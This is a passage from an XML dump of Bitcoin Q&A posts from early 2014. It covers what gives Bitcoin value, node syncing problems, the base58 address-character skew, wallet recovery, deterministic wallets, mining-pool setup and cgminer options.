LastActivityDate="2014-01-26T20:11:56.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21188" PostTypeId="2" ParentId="17722" CreationDate="2014-01-26T20:13:16.177" Score="2" Body="&lt;p&gt;Neither fiat currencies nor Bitcoin is backed by anything tangible - you cannot through any mechanism expect to be able to exchange them for a fixed quantity of any other good or combination of goods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither is there any agreement associated with fiat or Bitcoin to value anything by the amount of labour it took to produce it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin and fiat currencies have a lot in common when it comes to what gives them value; properties that make them suitable as medium exchange, (possibly) store of value and (possibly) unit of accounts: durability, low transaction costs, irreversibility (for fiat only some transactions are irreversible, mainly cash), security, and scarcity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'math problems' you refer to are hash computations. They don't have value outside of the Bitcoin network, but they add value to the currency because they make the Bitcoin system secure against double-spending (someone trying to spend the same money more than once). Just like when you accept fiat currency notes you do not get any value specifically from the watermarks, but the application of watermarks add security to the currency - and therefore makes it more valuable to people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither Bitcoin nor fiat currencies would have any value, however, were it not for a &lt;em&gt;coordination&lt;/em&gt; of people who agree to use them as money. For fiat currencies this coordination happens through a government monopoly on issuing such money, and insistence that taxes are paid using the monopoly fiat currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For bitcoin this coordination has happened because it was a &lt;em&gt;first mover&lt;/em&gt; in the technological innovation that it represents: bringing about lower transaction fees (irrespective of geographical distance), faster payments, irreversibility, pseudonomity, and very importantly a lack of reliance on any central party (it is distributed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin will only be able to sustain this coordination (and its value) if there are significant network effects, which makes it difficult for new entrants in the cryptocurrency market to gain market share, and there is no technological innovation which makes Bitcoin inferior to a new payment mechanism.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The initial and current value of Bitcoin, starting from zero as it did, is based on people recognising the above features and also that the scarcity of the coin could make it appreciate in value because supply is limited and at some stage effectivley stops growing.&lt;/p&gt;&#xA;" OwnerUserId="3752" LastEditorUserId="3752" LastEditDate="2014-01-26T20:40:13.157" LastActivityDate="2014-01-26T20:40:13.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21189" PostTypeId="1" AcceptedAnswerId="21191" CreationDate="2014-01-26T20:54:32.433" Score="0" ViewCount="207" Body="&lt;p&gt;I installed bitcoind v.0.8 on my &lt;a href=&quot;http://en.wikipedia.org/wiki/Virtual_private_server&quot; rel=&quot;nofollow&quot;&gt;VPS&lt;/a&gt; (with &lt;a href=&quot;http://en.wikipedia.org/wiki/Debian#Timeline&quot; rel=&quot;nofollow&quot;&gt;Debian 6&lt;/a&gt; (Squeeze)). Then I generated a wallet for it: &lt;strong&gt;12VWVmNEM1q6N9zMjX9aH3wSfRUbjVkZ21&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/tx/6805230a82ec9ba4a11e9629b018437950760257dc8a9a9b80f61799541d3c68&quot; rel=&quot;nofollow&quot;&gt;Here is&lt;/a&gt; my transaction to this wallet, but when I'm looking for this wallet balance with getreceivedbyaddress or getbalance I get 0.00000000. What can cause it? How can I receive my funds?&lt;/p&gt;&#xA;" OwnerUserId="12733" LastEditorUserId="1405" LastEditDate="2014-11-06T22:22:22.650" LastActivityDate="2014-11-06T22:22:22.650" Title="Problem with receiving bitcoins on my VPS" Tags="|blockchain|bitcoind|receiving|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21190" PostTypeId="2" ParentId="16646" CreationDate="2014-01-26T21:10:09.833" Score="0" Body="&lt;p&gt;Electrum is definitely the best general public bitcoin wallet ever made.  Downloading GB of blockchain is not an option for many users.  Electrum is very secure. It can be used on offline computer  &lt;/p&gt;&#xA;" OwnerUserId="12736" LastActivityDate="2014-01-26T21:10:09.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21191" PostTypeId="2" ParentId="21189" CreationDate="2014-01-26T22:11:43.137" Score="1" Body="&lt;p&gt;It looks like the block chain simply hasn't synced up fully for you. It usually takes a few hours to download the whole block chain and during this time the program will have inaccurate balances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Verify your block count&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check your Bitcoind's block count with the &lt;code&gt;getblockcount&lt;/code&gt; command and make sure it matches up with the network's block count. &lt;a href=&quot;http://blockchain.info/q/getblockcount&quot; rel=&quot;nofollow&quot;&gt;Heres the network block count&lt;/a&gt;, maintained by blockchain.info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Make sure you're downloading blocks&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it doesn't match up, make sure your Bitcoind is atleast in the process of downloading blocks, try the command a minute later and see if it has incremented since then. If the block count stays the same number over a few minutes, it very likely that the following is your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why a server isn't downloading the block chain&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something that I've seen happen is that Bitcoind may stop downloading blocks at some point in the middle of the full chain. This happens because your server is running out of memory. Downloading the block chain is a heavy procedure because each block needs to be checked. You can remedy this by just manually moving a chain you've downloaded onto the server or get more ram (you need more than .5 gb of ram to run Bitcoind anyways). The community has the block chain available on torrent.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-01-26T22:11:43.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21192" PostTypeId="2" ParentId="20713" CreationDate="2014-01-26T22:23:35.707" Score="1" Body="&lt;p&gt;I recommend getting your parts from &lt;a href=&quot;http://www.litecoinminingparts.com&quot; rel=&quot;nofollow&quot;&gt;Litecoin Mining Parts&lt;/a&gt; as they are pretty reliable with the powered riser cables and other bits. They also have a ASIC miner that mines LTC!&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2014-01-26T22:23:35.707" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21193" PostTypeId="2" ParentId="18371" CreationDate="2014-01-26T22:27:23.537" Score="12" Body="&lt;p&gt;When I read pyramids' answer, I was very skeptical. It didn't really seem right to me that addresses generated from a hash (in this case from a public key) would have anything but a random distribution. To test out the distribution of addresses, I downloaded &lt;a href=&quot;https://bitcointalk.org/index.php?topic=267618.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;the dataset linked to in this forum thread&lt;/a&gt; and counted up how many times addresses appeared. There are something like 2.4 million real addresses in this dataset, so I figured it would give me a pretty decent sample size. Sure enough, pyramids was right, I ended up with a count something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lgBhG.png&quot; alt=&quot;Address Distribution&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it turns out, you are much more likely to see an address where the second character is 2-Q than anything else. After some research, it turns out that the reason why this is the case is fairly subtle, and requires some background on how addresses are generated. The technical details of how an address is generated are &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_Bitcoin_addresses&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/Base58Check_encoding&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, but the tl;dr is this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Hash your public key first with SHA-256, and then with RIPEMD-160.&lt;/li&gt;&#xA;&lt;li&gt;Add a version number and checksum to the above.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Convert the bytes of this value from step 2 to an integer.&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Convert the number from step 3 to a base 58 encoded string.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; The stuff below this statement is very heavily edited from what my original answer was. The original answer was based on some personal research I had done and it turns out that I got it wrong. Thanks to @MeniRosenfeld for correcting me in a comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Step number 3 above is where the bias towards addresses starting with characters between 2 and Q is introduced. The data that you have after step 2 is 25 bytes long, but because of the version number that is pre-pended is fixed (0x00 for the Main Network), there are only 24 bytes that add to the integer you produce. With 24 bytes of data, you will never get a number big enough to generate an address where the second character is anything greater than Q. If however, those 24 bytes produce an integer that is less than ~2.6896e56 you can actually base58 encode it in 33 characters instead of 34 during step 4. When you have numbers this size, there is room available to have a number that will generate an address where the second character is any of the characters between 2 and z. Therefore, the reason that it is much more rare to get one of these numbers is that there are simply fewer of them. The addresses that have a second character between R and z can only be addresses that are 33 characters long while the others can be any address that is 34 characters long or any of the addresses that are 33 characters that have a second character between 2 and Q. This is skewed even further by the fact that there are 58 times more addresses with 34 characters than 33 due to the additional length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should also be noted that because of the way base58 encoding works, every extra empty byte present at the beginning of the data in step 3 ends up as a 1 added to the beginning of the final address. Therefore, the first bin on the graph doesn't fit in with the others because it is where all addresses of length between 32 and 27 ended up.&lt;/p&gt;&#xA;" OwnerUserId="7583" LastEditorUserId="7583" LastEditDate="2014-01-27T04:11:44.113" LastActivityDate="2014-01-27T04:11:44.113" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21194" PostTypeId="1" CreationDate="2014-01-26T23:27:40.320" Score="1" ViewCount="2661" Body="&lt;p&gt;This is the first pool I have configured so forgive my n00bness.&#xA;&lt;a href=&quot;https://github.com/MPOS/php-mpos/wiki/Quick-Start-Guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/MPOS/php-mpos/wiki/Quick-Start-Guide&lt;/a&gt;&#xA;I completed the guide and everything appears to fire up correctly though when a client connects, he only receives rejections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What step am I missing?&#xA;I have a suspicion that being on a 'test network' vs the Litecoin network via the 'how to' is a little suspicious, but I am new to the software and not sure how it works yet.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://bpaste.net/show/z0oOnziLKekXmuW7pEKy/&#xA;&#xA;I have no firewall&#xA;&#xA;http://bpaste.net/show/jssOUYVrMP3ckdaZomfq/&#xA;&#xA;&#xA;asterisk1 home # ./minerd -o stratum+tcp://domain.com:19334 -O my.my:pass -t 1&#xA;[2014-01-26 19:42:40] Starting Stratum on stratum+tcp://digitaldriller.com:19334&#xA;[2014-01-26 19:42:40] 1 miner threads started, using 'scrypt' algorithm.&#xA;[2014-01-26 19:42:40] stratum_recv_line failed&#xA;[2014-01-26 19:42:40] ...retry after 30 seconds&#xA;^C&#xA;asterisk1 home # ./minerd -o stratum+tcp://domain.com:3333 -O my.my:pass -t 1&#xA;[2014-01-26 19:43:21] Starting Stratum on stratum+tcp://digitaldriller.com:3333&#xA;[2014-01-26 19:43:21] 1 miner threads started, using 'scrypt' algorithm.&#xA;[2014-01-26 19:43:21] Stratum connection failed: Failed connect to digitaldriller.com:3333; Connection refused&#xA;[2014-01-26 19:43:21] ...retry after 30 seconds&#xA;&#xA;or at best  http://i.imgur.com/xEl0qVs.png&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12392" LastActivityDate="2017-05-31T19:28:02.793" Title="Stratum + MPOS pool question" Tags="|bitcoind|mining-pools|litecoin|altcoin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21195" PostTypeId="1" CreationDate="2014-01-27T00:03:38.660" Score="-1" ViewCount="2915" Body="&lt;p&gt;Liberty.me has asked purchasers to all pay into a single address, but then to email the &quot;public key&quot; of the transaction. What is the public key of the transaction? How would you find it in Electrum?&lt;/p&gt;&#xA;" OwnerUserId="12741" LastActivityDate="2014-10-25T01:18:35.797" Title="Getting Public Key for transaction in electrum" Tags="|transactions|electrum|public-key|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21196" PostTypeId="2" ParentId="21113" CreationDate="2014-01-27T01:20:34.690" Score="1" Body="&lt;p&gt;It should be possible for the parent coin protocol to prevent being used for merged mining, by eliminating the ability to populate the &lt;em&gt;coinbase&lt;/em&gt; transaction with random data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Merged mining works because it is possible to inject a hash of an &lt;em&gt;auxiliary&lt;/em&gt; block into a block of the parent blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The coinbase block does need to contain some random data because otherwise miners would hash to the same values and it would restrict the range of the hashing function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if the source of this entropy is restricted to a well-formed address (remember all bitcoin addresses are &lt;em&gt;unique&lt;/em&gt;), and a consequence of putting the address in the coinbase is that it will be credited with the mining rewards, then it would not be possible to insert the auxiliary chain hash without forgoing the parent chain reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my knowledge the provision of a bitcoin address + nonce within a certain range, would be a sufficient source of entropy for hashing purposes.&lt;/p&gt;&#xA;" OwnerUserId="3752" LastActivityDate="2014-01-27T01:20:34.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21197" PostTypeId="2" ParentId="17533" CreationDate="2014-01-27T01:28:28.133" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;Install Python 2.7 and download pywallet to your &lt;code&gt;c:\&lt;/code&gt; drive. &lt;/li&gt;&#xA;&lt;li&gt;Copy your corrupt wallet.dat file to &lt;code&gt;c:\&lt;/code&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open a Command Prompt and type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;pywallet.py --dumpwallet --datadir c:\  --wallet=wallet.dat --recover --recov_device=c:\wallet.dat --recov_size=416Gio --recov_outputdir=c:\&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should extract all the keys to a new wallet on &lt;code&gt;c:\&lt;/code&gt; &#xA;Copy the new wallet.dat to the &lt;code&gt;c:\users\USERNAME\Appdata\Roaming\Bitcoin&lt;/code&gt; folder &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;rename it wallet.dat. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start up Bitcoin-QT with the &lt;code&gt;--rescan&lt;/code&gt; switch. &#xA;It should take a while, but eventually it will start up and your coins are back.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12742" LastEditorUserId="132" LastEditDate="2014-01-28T10:38:39.263" LastActivityDate="2014-01-28T10:38:39.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21200" PostTypeId="2" ParentId="718" CreationDate="2014-01-27T02:42:37.377" Score="14" Body="&lt;p&gt;A deterministic wallet is any wallet for which a given private key can be predictably recovered with just:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the original secret seed&lt;/li&gt;&#xA;&lt;li&gt;the identifier / sequence number of the desired keypair&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are two types of deterministic wallets:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sequential deterministic wallets&lt;/li&gt;&#xA;&lt;li&gt;hierarchical deterministic wallets&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With a sequential deterministic wallet, the seed is a passphrase or sequence of characters that can be repeatedly incremented and hashed to generate new private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I use the passphrase:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'shepherd mais pack rate enamel horace diva filesize maximum really roar mall'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...then I can create the first 100 private keys by doing the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hex(sha256('shepherd mais pack rate enamel horace diva filesize maximum really roar mall 0'))&#xA;hex(sha256('shepherd mais pack rate enamel horace diva filesize maximum really roar mall 1'))&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And as long as I am consistent with how I modify the original passphrase, I can easily recover any given passphrase that I wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A hierarchical deterministic wallet, on the other hand, starts with a single keypair as the master keypair. The private key of this keypair is the secret seed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each keypair has children. And the public key of a given child of a given parent node in the tree is generated by performing elliptic curve multiplication on the parent's public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The private key of the child can be recovered by the owner by performing the same multiplicative operation on the parent's private key. This is because m&lt;em&gt;Pubkey/Pubkey = m&lt;/em&gt;Privkey/Privkey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The cool thing about this is that you can give a server a public key and that server can generate new addresses for you without ever having to know your private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking for a python implementation of sequential deterministic wallets, I put one together here: &lt;a href=&quot;https://github.com/blockstack/pybitcoin&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/blockstack/pybitcoin&lt;/a&gt; (or just do &quot;pip install pybitcoin&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have a working implementation of hierarchical deterministic wallets quite yet, but for that I'd check out &lt;a href=&quot;https://github.com/FelixWeis/python-hdwallet&quot; rel=&quot;noreferrer&quot;&gt;this python implementation&lt;/a&gt; or &lt;a href=&quot;https://github.com/wink/money-tree&quot; rel=&quot;noreferrer&quot;&gt;this ruby implementation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="6767" LastEditorUserId="6767" LastEditDate="2015-12-07T20:59:12.583" LastActivityDate="2015-12-07T20:59:12.583" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21203" PostTypeId="1" CreationDate="2014-01-27T03:35:12.213" Score="0" ViewCount="318" Body="&lt;p&gt;After reading this &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/20752/how-do-buy-and-sell-orders-work&quot;&gt;How do buy and sell orders work?&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This says that closest price, so if someone is selling at 999, and someone offers a bid of 1000, that the 999 will get sold since its the two orders that match closest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I trade on btce, my understanding was that orders have to match exactly in price. And I take it its considered a sell or buy depending on who goes first.&lt;/p&gt;&#xA;" OwnerUserId="12393" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-01-28T15:31:40.687" Title="Order books, matching exact price or closest price?" Tags="|exchanges|" AnswerCount="2" CommentCount="0" ClosedDate="2014-02-22T03:28:55.070" ContentLicense="CC BY-SA 3.0" />
  <row Id="21204" PostTypeId="1" AcceptedAnswerId="21213" CreationDate="2014-01-27T04:47:10.987" Score="1" ViewCount="1083" Body="&lt;p&gt;Bitcoins are over $800, I need to pay someone about $200. Is it possible to pay someone with a partial bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="12745" LastEditorUserId="5406" LastEditDate="2014-01-27T08:15:20.470" LastActivityDate="2014-01-27T08:45:02.573" Title="Is it possible to pay part of a Bitcoin to someone?" Tags="|divisibility|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21205" PostTypeId="2" ParentId="20992" CreationDate="2014-01-27T05:27:06.527" Score="5" Body="&lt;p&gt;You can run cgminer --help to see the options or you can just research them online. A good example is this website: &lt;a href=&quot;https://github.com/pshep/cgminer&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/pshep/cgminer&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never done it but I think you can add a rotate option:&#xA;&lt;code&gt;--rotate &amp;lt;arg&amp;gt;&lt;/code&gt;      Change multipool strategy from failover to regularly rotate at N minutes (default: 0)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;80% / 20% would be roughly 19 hours / 5 hours or 1140 minutes / 300 minutes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, with the &lt;code&gt;--rotate &amp;lt;arg&amp;gt;&lt;/code&gt; you will rotate the pools regularly, so it's easy to set it to 50/50on two pools, 33/33/33 on three pools etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you could achieve an 80/20 split by using a scheduled start and stop times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;--sched-start &amp;lt;arg&amp;gt;&lt;/code&gt; Set a time of day in HH:MM to start mining (a once off without a stop time)&#xA;&lt;code&gt;--sched-stop &amp;lt;arg&amp;gt;&lt;/code&gt;  Set a time of day in HH:MM to stop mining (will quit without a start time)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say, you start mining at 00:01, you set the rotate setting to 19 hours (1140 minutes), at 7 PM the pools will switch, set a stop time for 23:59 and 2 minutes later the miner should start mining using the first pool again. The only problem could be if after the miner stops, it could start mining still on the second pool, in which case you should start at midnigh, only use the &lt;code&gt;--rotate 1140&lt;/code&gt; and always restart cgminer at midnight manually or maybe using a shell script (or bat if on Windows).&lt;/p&gt;&#xA;" OwnerUserId="12746" LastActivityDate="2014-01-27T05:27:06.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21206" PostTypeId="1" CreationDate="2014-01-27T05:41:41.303" Score="2" ViewCount="1771" Body="&lt;p&gt;For Litecoin, if memory size is increased in processing the Scrypt algorithm, for example to 384 kB instead of 128 kB (and assuming likewise an L2 cache size of 384 kB), would the typical CPU architecture (x86, PPC, etc) be likely to see a corresponding increase in performance?  And if increased memory size were used, would mining output remain 100% compatible with Litecoin (I believe the answer is yes, but also I note that almost all GPU miners are using fixed Scrypt parameters for N, r, and p).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize that increasing BlockMix memory sizee is not typically done on GPU architectures, for various reasons.  Also as a note my objective is not profitable Litecoin x86 CPU mining -- I just want to be sure I understand the  memory/performance tradeoff.&lt;/p&gt;&#xA;" OwnerUserId="12747" LastEditorUserId="5406" LastEditDate="2016-04-17T20:47:36.563" LastActivityDate="2016-04-17T20:47:36.563" Title="Scrypt (Litecoin) memory / performance tradeoff" Tags="|altcoin|mining-hardware|gpu|scrypt|cpu|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21207" PostTypeId="2" ParentId="21204" CreationDate="2014-01-27T06:51:30.420" Score="2" Body="&lt;p&gt;With the current version of the Bitcoin protocol, bitcoins are divisible into 100,000,000 units (0.00000001 bitcoin). This very small amount is called a &lt;em&gt;Satoshi&lt;/em&gt; after the creator of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Bitcoin transaction may be any amount that is a multiple of 1 Satoshi.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-01-27T06:51:30.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21208" PostTypeId="1" AcceptedAnswerId="21217" CreationDate="2014-01-27T06:52:21.650" Score="1" ViewCount="289" Body="&lt;p&gt;I need to be able to create an address in 2 different Bitcoin-qt instances (actually 2 different PCs).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can create it using &quot;getnewaddress&quot; on the first one but how can I import it to the second one with the private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="12749" LastActivityDate="2014-01-27T10:35:14.777" Title="How can I copy an address (with the private key) using JSON-RPC?" Tags="|bitcoind|json-rpc|private-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21210" PostTypeId="5" CreationDate="2014-01-27T08:26:25.823" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-01-27T08:26:25.823" LastActivityDate="2014-01-27T08:26:25.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21211" PostTypeId="4" CreationDate="2014-01-27T08:26:25.823" Score="0" Body="Questions concerned with the number of subunits of a bitcoin, and the rules governing divisibility." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-01-27T09:56:43.497" LastActivityDate="2014-01-27T09:56:43.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21213" PostTypeId="2" ParentId="21204" CreationDate="2014-01-27T08:39:47.407" Score="3" Body="&lt;p&gt;Yes! To send $200 at a Bitcoin price of $800/BTC, you'd send 0.25 BTC. Bitcoins are highly divisible, up to eight decimals behind the point. The smallest subunit of a bitcoin is currently still less than 1/1000 of a cent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many Bitcoin clients will also keep track of the current value of Bitcoin and allow you to enter the amount of a payment either as bitcoins or your preferred national currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, when I want to send someone $5 from my phone, I could either enter BTC 0.00625, or $5 to set the amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Bitcoin has become so valuable that one bitcoin is worth much more than many things we want to pay for, some people have moved to denominating prices in mBTC, i.e. millibitcoin, which are 1/1000 of a bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-01-27T08:45:02.573" LastActivityDate="2014-01-27T08:45:02.573" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21214" PostTypeId="2" ParentId="21203" CreationDate="2014-01-27T08:58:57.563" Score="0" Body="&lt;p&gt;I haven't really looked at BTCE, yet, but for example on Bitcoin.de also, orders and offers have to match exactly. However, Bitcoin.de is not a real exchange, but more of an auctioning platform/escrow service: Money flows directly through wire transfer from buyer to seller, bitcoins are held by the platform and released as soon as the money transfer was confirmed by the seller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On &lt;em&gt;Exchanges&lt;/em&gt; though, the platform holds both money deposits and bitcoin deposits of the users. The situation there is slightly different: Let me illustrate with a real-life example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Okay, imagine you want to buy a beard trimmer, because your old one broke. Before you leave the house you decide that you can afford to pay up to 40 € for one. When you get to the electronics store you find the beard trimmer you want for 35 €.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll go out on a limb here, but I imagine that you would not go to other stores trying to find it for 40 € because you decided that you wanted to pay that at most.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, let's say when you get to the store, the beard trimmer's price is 45 €. There is three options then: Either wait until the price drops to 40 €, look at other stores, or pay more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Exchanges work the same way:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When your order is higher than the current lowest offer, lucky you, you saved money compared to what you were ready to pay. Yet, when your order is lower than the current lowest offer. You'll have to wait for it to be fulfilled or take your business somewhere else.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-01-27T09:14:14.077" LastActivityDate="2014-01-27T09:14:14.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21216" PostTypeId="2" ParentId="4914" CreationDate="2014-01-27T09:06:09.763" Score="0" Body="&lt;p&gt;There is also &lt;a href=&quot;http://bitlance.biz&quot; rel=&quot;nofollow&quot;&gt;http://bitlance.biz&lt;/a&gt;. From the functionality it looks quite similar to freelancer.com. As far as i know they use a classic escrow scheme but according to their FAQ they are working on the casascius escrow scheme.&lt;/p&gt;&#xA;" OwnerUserId="12755" LastActivityDate="2014-01-27T09:06:09.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21217" PostTypeId="2" ParentId="21208" CreationDate="2014-01-27T10:35:14.777" Score="1" Body="&lt;p&gt;Check this section out: &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_import_private_keys#Using_bitcoind&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/How_to_import_private_keys#Using_bitcoind&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially you can use &lt;code&gt;importprivkey&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoind help&#xA;[...]&#xA;  importprivkey &amp;lt;bitcoinprivkey&amp;gt; [label]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-01-27T10:35:14.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21219" PostTypeId="1" CreationDate="2014-01-27T10:54:27.357" Score="1" ViewCount="283" Body="&lt;p&gt;Currently I have two settings for CGMiner, using a Radeon 6850 for home usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One for casual work, and one for night-time (light and heavy).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, even at the casual settings Photoshop is very slow to use, so I have to switch it off completely. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there are any settings that will give priority to Photoshop (and other applications), when CGMiner is running? That way I can leave it running all day, but the hash rate simply drops when other programs require the GPU.&lt;/p&gt;&#xA;" OwnerUserId="12757" LastEditorUserId="5406" LastEditDate="2016-04-24T12:27:48.420" LastActivityDate="2016-04-24T12:27:48.420" Title="CGMiner settings so that Photoshop usage isn't slow" Tags="|miner-configuration|cgminer|performance|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
